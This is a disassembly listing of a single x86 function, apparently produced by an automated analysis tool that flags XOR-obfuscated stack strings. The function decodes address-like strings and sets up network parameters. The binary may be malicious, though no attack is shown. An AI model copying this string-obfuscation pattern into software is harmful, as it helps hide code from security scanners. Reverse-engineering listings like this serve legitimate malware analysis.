Function at 0x10035000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cbed3
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x230
mov eax, dword [0x100fd230]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd8], 0
mov dh, 0x3b
mov dword [ebp - 0x2c], 0x5552423b
mov al, 0x42
mov cl, 0x52
mov dword [ebp - 0x28], 0x5a52515c
mov dl, 0x55
mov dword [ebp - 0x24], 0x544e55
mov ah, 0x5c
mov ch, 0x51
mov dword [ebp - 4], 0
xor al, dh
mov byte [ebp - 0x20], al
xor cl, dh
mov al, dh
mov byte [ebp - 0x1f], cl
xor al, byte [ebp - 0x26]
xor ch, dh
mov byte [ebp - 0x1b], al
xor dl, dh
mov al, dh
mov byte [ebp - 0x1c], ch
xor al, byte [ebp - 0x25]
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x1a], al
xor ah, dh
mov al, dh
mov byte [ebp - 0x1e], dl
xor al, byte [ebp - 0x24]
xorps xmm0, xmm0
mov byte [ebp - 0x19], al
mov al, dh
xor al, byte [ebp - 0x23]
xor dh, byte [ebp - 0x22]
mov byte [ebp - 0x17], dh
lea edx, [ecx + 1]
mov byte [ebp - 0x1d], ah
mov byte [ebp - 0x18], al
mov byte [ebp - 0x16], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100350d1
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.1000ab60
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
call fcn.1002ee50
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
mov byte [ebp - 0xd9], al
cmp ecx, 0x10
jb 0x10035138
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10035128
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e01
push ecx
push edx
call fcn.1008f79d
mov al, byte [ebp - 0xd9]
add esp, 8
mov dword [ebp - 4], 0xffffffff
test al, al
je 0x10035c55
push 0x53
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.10091da0
mov cl, 0x67
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
mov eax, 2
mov dword [ebp - 0x28], 0x57495749
mov word [ebp - 0xc3], ax
mov dl, 0x56
mov al, cl
mov word [ebp - 0x24], 0x5749
xor al, dl
mov dword [ebp - 0x2c], 0x50555667
mov byte [ebp - 0x21], al
mov ah, 0x55
mov al, cl
mov byte [ebp - 0x22], 0
xor al, ah
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x20], al
mov ch, 0x50
mov al, cl
mov dh, 0x49
xor al, ch
add esp, 0xc
mov byte [ebp - 0x1f], al
mov al, cl
xor al, dh
mov byte [ebp - 0x1e], al
mov al, cl
xor al, byte [ebp - 0x27]
mov byte [ebp - 0x1d], al
mov al, cl
xor al, byte [ebp - 0x26]
mov byte [ebp - 0x1c], al
mov al, cl
xor al, byte [ebp - 0x25]
mov byte [ebp - 0x1b], al
mov al, cl
xor al, byte [ebp - 0x24]
xor cl, byte [ebp - 0x23]
mov byte [ebp - 0x1a], al
lea eax, [ebp - 0x21]
push eax
mov byte [ebp - 0x19], cl
call esi
mov dword [ebp - 0xa1], eax
mov cl, 0x5d
mov dl, 0x6f
mov dword [ebp - 0x28], 0x6d736d73
mov al, cl
mov word [ebp - 0x24], 0x6d73
xor al, dl
mov dword [ebp - 0x2c], 0x68686f5d
mov byte [ebp - 0x21], al
mov ah, 0x68
mov al, cl
mov byte [ebp - 0x22], 0
xor al, ah
mov ch, ah
mov byte [ebp - 0x20], al
mov dh, 0x73
mov al, cl
xor al, ch
mov byte [ebp - 0x1f], al
mov al, cl
xor al, dh
mov byte [ebp - 0x1e], al
mov al, cl
xor al, byte [ebp - 0x27]
mov byte [ebp - 0x1d], al
mov al, cl
xor al, byte [ebp - 0x26]
mov byte [ebp - 0x1c], al
mov al, cl
xor al, byte [ebp - 0x25]
mov byte [ebp - 0x1b], al
mov al, cl
xor al, byte [ebp - 0x24]
xor cl, byte [ebp - 0x23]
mov byte [ebp - 0x1a], al
lea eax, [ebp - 0x21]
push eax
mov byte [ebp - 0x19], cl
mov byte [ebp - 0x18], 0
call esi
mov dword [ebp - 0x91], eax
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.10085600
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
add esp, 8
mov dword [ebp - 0xd8], eax
test eax, eax
je 0x10035389
push ecx
lea ecx, [ebp - 0x190]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x180]
call fcn.10006590
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [0x100e8b00]
mov esi, eax
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], 0xb020f5b
mov word [ebp - 0x48], 0x411e
mov byte [ebp - 0x46], 0
mov byte [ebp - 4], 3
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x5b]
xor al, byte [ebp - 0x5c]
mov byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 0x15
jb 0x100352e0
lea edx, [ebp - 0x45]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006590
push dword [ebp - 0xd8]
mov ecx, eax
call fcn.10004740
mov byte [ebp - 4], 2
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 4
cmp dword [eax + 0x14], 0x10
jb 0x10035332
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003d10
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10035377
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003536d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e06
push ecx
push edx
call fcn.1008f79d
add esp, 8
lea ecx, [ebp - 0x190]
mov dword [ebp - 4], 0xffffffff
call fcn.10004220
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10105564]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x101064d0]
mov dword [ebp - 0xd4], ecx
cmp eax, dword [ecx + 4]
jle 0x100353ee
push 0x101064d0
call fcn.1008f927
add esp, 4
cmp dword [0x101064d0], 0xffffffff
jne 0x100353ee
mov dword [ebp - 4], 5
call fcn.1002f140
push 0x100d3e20
call fcn.1008f788
add esp, 4
mov dword [ebp - 4], 0xffffffff
push 0x101064d0
call fcn.1008f8dd
add esp, 4
cmp byte [0x1010676c], 0
je 0x10035439
push 0x100fdce8
call fcn.10086650
add esp, 4
lea eax, [ebp - 0xd0]
push 0x53
push 0
push eax
call fcn.10091da0
add esp, 0xc
mov dword [ebp - 0x81], 0x80
lea eax, [ebp - 0xd0]
mov byte [ebp - 0xc8], 2
push 0
push eax
call fcn.10085600
add esp, 8
push 0x53
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.10091da0
add esp, 0xc
mov dword [ebp - 0xd0], 6
mov eax, 2
mov byte [ebp - 0xc8], 2
mov word [ebp - 0xc3], ax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x81], 0x10
push 0
push eax
call fcn.10085600
add esp, 8
mov dword [ebp - 0xd8], eax
test eax, eax
je 0x10035599
push ecx
lea ecx, [ebp - 0x190]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x180]
call fcn.10006590
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [0x100e90c0]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x3b647178
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 7
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x13
jb 0x100354f0
lea edx, [ebp - 0x43]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006590
push dword [ebp - 0xd8]
mov ecx, eax
call fcn.10004740
mov byte [ebp - 4], 6
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 8
cmp dword [eax + 0x14], 0x10
jb 0x10035542
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003d10
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10035587
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003557d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e0b
push ecx
push edx
call fcn.1008f79d
add esp, 8
lea ecx, [ebp - 0x190]
mov dword [ebp - 4], 0xffffffff
call fcn.10004220
push 0x53
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.10091da0
add esp, 0xc
mov dword [ebp - 0xd0], 6
mov eax, 0x17
mov byte [ebp - 0xc8], 2
mov word [ebp - 0xc3], ax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x81], 0x10
push 0
push eax
call fcn.10085600
add esp, 8
mov dword [ebp - 0xd8], eax
test eax, eax
je 0x100356f9
push ecx
lea ecx, [ebp - 0x190]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x180]
call fcn.10006590
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [str.3RWW]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x56434a47
mov word [ebp - 0x44], 9
mov byte [ebp - 4], 0xa
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 0x14
jb 0x10035650
lea edx, [ebp - 0x42]
mov byte [ebp - 0x2e], 0
mov ecx, esi
call fcn.10006590
push dword [ebp - 0xd8]
mov ecx, eax
call fcn.10004740
mov byte [ebp - 4], 9
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 0xb
cmp dword [eax + 0x14], 0x10
jb 0x100356a2
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003d10
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100356e7
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100356dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e10
push ecx
push edx
call fcn.1008f79d
add esp, 8
lea ecx, [ebp - 0x190]
mov dword [ebp - 4], 0xffffffff
call fcn.10004220
mov ecx, dword [ebp - 0xd4]
mov eax, dword [0x101064d0]
cmp eax, dword [ecx + 4]
jle 0x1003574f
push 0x101064d0
call fcn.1008f927
add esp, 4
cmp dword [0x101064d0], 0xffffffff
jne 0x1003574f
mov dword [ebp - 4], 0xc
call fcn.1002f140
push 0x100d3e20
call fcn.1008f788
add esp, 4
mov dword [ebp - 4], 0xffffffff
push 0x101064d0
call fcn.1008f8dd
add esp, 4
push 0x53
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.10091da0
add esp, 0xc
mov dword [ebp - 0xd0], 0x11
cmp dword [0x10106818], 2
mov eax, 2
mov word [ebp - 0xc3], ax
mov dword [ebp - 0x81], eax
lea eax, [ebp - 0xd0]
push 0
push eax
jne 0x10035a06
mov byte [ebp - 0xc8], 3
call fcn.10085600
add esp, 8
mov dword [ebp - 0xd4], eax
test eax, eax
je 0x100358b9
push ecx
lea ecx, [ebp - 0x190]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x180]
call fcn.10006590
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [0x100e8b30]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x441b0e07
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 0xe
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x13
jb 0x10035810
lea edx, [ebp - 0x43]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006590
push dword [ebp - 0xd4]
mov ecx, eax
call fcn.10004740
mov byte [ebp - 4], 0xd
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 0xf
cmp dword [eax + 0x14], 0x10
jb 0x10035862
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003d10
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x100358a7
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003589d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e15
push ecx
push edx
call fcn.1008f79d
add esp, 8
lea ecx, [ebp - 0x190]
mov dword [ebp - 4], 0xffffffff
call fcn.10004220
push 0x53
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.10091da0
add esp, 0xc
mov dword [ebp - 0xd0], 0x11
mov eax, 0x17
mov byte [ebp - 0xc8], 3
mov word [ebp - 0xc3], ax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x81], 2
push 0
push eax
call fcn.10085600
add esp, 8
mov dword [ebp - 0xd4], eax
test eax, eax
je 0x10035c4e
push ecx
lea ecx, [ebp - 0x190]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x180]
call fcn.10006590
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [0x100e8db0]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x6a7f767b
mov word [ebp - 0x44], 0x35
mov byte [ebp - 4], 0x11
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 0x14
jb 0x10035970
lea edx, [ebp - 0x42]
mov byte [ebp - 0x2e], 0
mov ecx, esi
call fcn.10006590
push dword [ebp - 0xd4]
mov ecx, eax
call fcn.10004740
mov byte [ebp - 4], 0x10
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 0x12
cmp dword [eax + 0x14], 0x10
jb 0x100359c2
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003d10
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10035c43
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10035c39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e1a
jmp 0x10035c39
mov byte [ebp - 0xc8], 2
call fcn.10085600
add esp, 8
mov dword [ebp - 0xd4], eax
test eax, eax
je 0x10035b29
push ecx
lea ecx, [ebp - 0x190]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x180]
call fcn.10006590
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [0x100e9100]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x36697c75
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x14
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x13
jb 0x10035a80
lea edx, [ebp - 0x43]
mov byte [ebp - 0x30], 0
mov ecx, esi
call fcn.10006590
push dword [ebp - 0xd4]
mov ecx, eax
call fcn.10004740
mov byte [ebp - 4], 0x13
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 0x15
cmp dword [eax + 0x14], 0x10
jb 0x10035ad2
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003d10
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10035b17
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10035b0d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e1f
push ecx
push edx
call fcn.1008f79d
add esp, 8
lea ecx, [ebp - 0x190]
mov dword [ebp - 4], 0xffffffff
call fcn.10004220
push 0x53
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.10091da0
add esp, 0xc
mov dword [ebp - 0xd0], 0x11
mov eax, 0x17
mov byte [ebp - 0xc8], 2
mov word [ebp - 0xc3], ax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x81], 2
push 0
push eax
call fcn.10085600
add esp, 8
mov dword [ebp - 0xd4], eax
test eax, eax
je 0x10035c4e
push ecx
lea ecx, [ebp - 0x190]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0x180]
call fcn.10006590
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [0x100e8d90]
mov esi, eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x687d7479
mov word [ebp - 0x44], 0x37
mov byte [ebp - 4], 0x17
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x57]
xor al, byte [ebp - 0x58]
mov byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 0x14
jb 0x10035be0
lea edx, [ebp - 0x42]
mov byte [ebp - 0x2e], 0
mov ecx, esi
call fcn.10006590
push dword [ebp - 0xd4]
mov ecx, eax
call fcn.10004740
mov byte [ebp - 4], 0x16
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x14], 0x10
jb 0x100359c2
jmp 0x100359c0
push ecx
push edx
call fcn.1008f79d
add esp, 8
lea ecx, [ebp - 0x190]
call fcn.10004220
xor eax, eax
jmp 0x10035de3
push ecx
lea ecx, [ebp - 0x240]
call fcn.100043e0
mov edx, str._TID:
mov dword [ebp - 4], 0x19
lea ecx, [ebp - 0x230]
call fcn.10006590
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001c750
mov edx, 0x100e5420
mov ecx, eax
call fcn.10006590
movaps xmm0, xmmword [0x100e8b90]
mov esi, eax
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0x43110c11
mov dword [ebp - 0x4c], 0x6131a17
mov word [ebp - 0x48], 0x59
mov byte [ebp - 4], 0x1a
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x5f]
xor al, byte [ebp - 0x60]
mov byte [ebp + ecx - 0x46], al
inc ecx
cmp ecx, 0x18
jb 0x10035cc0
lea edx, [ebp - 0x46]
mov byte [ebp - 0x2e], 0
mov ecx, esi
call fcn.10006590
mov esi, eax
call fcn.10086ce0
cmp eax, 2
jne 0x10035d28
mov cl, 0x17
mov dword [ebp - 0x6c], 0x67716017
mov dl, 0x60
mov byte [ebp - 0x68], 0
mov ah, 0x71
mov ch, 0x67
mov byte [ebp - 4], 0x1b
mov al, cl
xor al, dl
mov dword [ebp - 0xd8], 1
mov byte [ebp - 0x67], al
lea edx, [ebp - 0x67]
mov al, cl
mov byte [ebp - 0x64], 0
xor al, ah
xor cl, ch
mov byte [ebp - 0x66], al
mov byte [ebp - 0x65], cl
jmp 0x10035d66
mov cl, 0x4e
mov dword [ebp - 0x78], 0x272a3a4e
mov dl, 0x3a
mov byte [ebp - 0x74], 0
mov ah, 0x2a
mov ch, 0x27
mov dword [ebp - 4], 0x1c
mov al, cl
xor al, dl
mov dword [ebp - 0xd8], 2
mov byte [ebp - 0x73], al
lea edx, [ebp - 0x73]
mov al, cl
mov byte [ebp - 0x70], 0
xor al, ah
xor cl, ch
mov byte [ebp - 0x72], al
mov byte [ebp - 0x71], cl
mov ecx, esi
call fcn.10006590
mov dword [ebp - 4], 0x19
call fcn.100035c0
mov esi, eax
lea ecx, [ebp - 0x240]
lea eax, [ebp - 0x48]
push eax
call fcn.100042f0
mov byte [ebp - 4], 0x1d
cmp dword [eax + 0x14], 0x10
jb 0x10035d96
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003d10
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x10035dd3
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10035dc9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10035e1a
push ecx
push edx
call fcn.1008f79d
add esp, 8
lea ecx, [ebp - 0x240]
call fcn.10004220
mov eax, 0x2842
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1008f445
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1009b8bf
call fcn.1009b8bf
call fcn.1009b8bf
call fcn.1009b8bf
call fcn.1009b8bf
call fcn.1009b8bf
call fcn.1009b8bf
int3